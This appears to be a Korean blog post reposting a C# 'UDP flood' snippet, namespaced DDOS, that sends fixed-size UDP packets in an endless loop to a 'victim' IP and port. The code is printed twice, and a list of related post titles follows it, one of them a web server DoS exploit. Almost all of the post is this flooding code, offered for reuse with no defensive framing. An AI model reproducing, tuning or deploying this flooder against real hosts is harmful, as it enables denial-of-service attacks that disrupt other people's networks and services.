[C#] UDP flood snippet
Code:
__________________
/////////////////////////////////
// UDP flood by t0fx //
// Give credits if you use it//
/////////////////////////////
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.Threading;
namespace DDOS
{
class UDP
{
public static string IP = "127.0.0.1"; // IP
public static int Port = 123; // udp port
static void Main(string[] args)
{
IPAddress victimIp = IPAddress.Parse(IP);
IPEndPoint victim = new IPEndPoint(victimIp, Port);
byte[] packet = new byte[1470]; // packet to send
int ms = 1000; // loop every 1000ms
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
Console.WriteLine("Sending UDP packets to : " + IP + " On port : " + Port + " every : " + ms + " ms");
while (true)
{
socket.SendTo(packet, victim);
Thread.Sleep(ms);
}
}
}
}
// UDP flood by t0fx //
// Give credits if you use it//
/////////////////////////////
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.Threading;
namespace DDOS
{
class UDP
{
public static string IP = "127.0.0.1"; // IP
public static int Port = 123; // udp port
static void Main(string[] args)
{
IPAddress victimIp = IPAddress.Parse(IP);
IPEndPoint victim = new IPEndPoint(victimIp, Port);
byte[] packet = new byte[1470]; // packet to send
int ms = 1000; // loop every 1000ms
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
Console.WriteLine("Sending UDP packets to : " + IP + " On port : " + Port + " every : " + ms + " ms");
while (true)
{
socket.SendTo(packet, victim);
Thread.Sleep(ms);
}
}
}
}
'Computer Science' 카테고리의 다른 글
The P2P Framework Implementation (Python version) (0) | 2009.05.18 |
---|---|
[EXPL] Ashley`s Web Server DoS (Exploit) (0) | 2009.05.18 |
C++ 소켓 프로그래밍 라이브러러 (0) | 2009.05.18 |
인터넷 소켓 활용 (0) | 2009.05.18 |
[ VMWare ] Workstation / GSX Server / ESX Server 의 차이점 (0) | 2009.05.16 |